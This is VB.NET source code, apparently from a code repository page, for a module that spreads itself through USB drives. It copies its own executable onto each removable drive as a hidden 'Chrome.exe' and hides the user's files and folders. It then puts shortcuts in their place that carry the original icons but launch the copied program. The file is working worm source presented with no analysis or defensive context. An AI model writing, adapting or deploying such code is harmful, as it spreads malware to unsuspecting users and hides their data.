57 lines
2.1 KiB
VB.net
57 lines
2.1 KiB
VB.net
Public Module USB
|
|
|
|
Private H As Threading.Thread
|
|
|
|
Public Sub Enable()
|
|
H = New Threading.Thread(AddressOf WorkThread)
|
|
H.Start()
|
|
End Sub
|
|
|
|
|
|
Public Sub Disable()
|
|
H.Abort()
|
|
End Sub
|
|
|
|
Public Sub WorkThread()
|
|
GoAgain:
|
|
Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
|
|
Dim d As IO.DriveInfo
|
|
|
|
Dim VbsObj As Object
|
|
VbsObj = CreateObject("WScript.Shell")
|
|
Dim DE As Object
|
|
|
|
For Each d In allDrives
|
|
|
|
If d.IsReady = True AndAlso d.DriveType = IO.DriveType.Removable Then
|
|
Dim RootDir As String = d.RootDirectory.ToString
|
|
Try : IO.File.Copy(Process.GetCurrentProcess.MainModule.FileName, RootDir & "Chrome.exe") : Catch : End Try
|
|
IO.File.SetAttributes(RootDir & "Chrome.exe", IO.FileAttributes.Hidden)
|
|
For Each f As String In IO.Directory.GetFiles(RootDir)
|
|
If IO.Path.GetFileNameWithoutExtension(f) = "Chrome" Then GoTo GoHere
|
|
If Not f.Contains(".lnk") Then
|
|
IO.File.SetAttributes(f, IO.FileAttributes.Hidden)
|
|
End If
|
|
DE = VbsObj.CreateShortcut(RootDir & IO.Path.GetFileNameWithoutExtension(f) & ".lnk")
|
|
DE.TargetPath = RootDir & "Chrome.exe"
|
|
DE.WorkingDirectory = RootDir
|
|
DE.IconLocation = f & ", 0"
|
|
DE.Save()
|
|
GoHere:
|
|
Next
|
|
For Each dx As String In IO.Directory.GetDirectories(RootDir)
|
|
Dim dir As New System.IO.DirectoryInfo(dx)
|
|
dir.Attributes = IO.FileAttributes.Hidden
|
|
DE = VbsObj.CreateShortcut(dx & ".lnk")
|
|
DE.TargetPath = RootDir & "Chrome.exe"
|
|
DE.WorkingDirectory = RootDir
|
|
DE.IconLocation = Environment.GetEnvironmentVariable("windir") & "\System32\Shell32.dll" & ", 3"
|
|
DE.Save()
|
|
Next
|
|
End If
|
|
Next
|
|
Threading.Thread.Sleep(1000)
|
|
GoTo GoAgain
|
|
End Sub
|
|
|
|
End Module |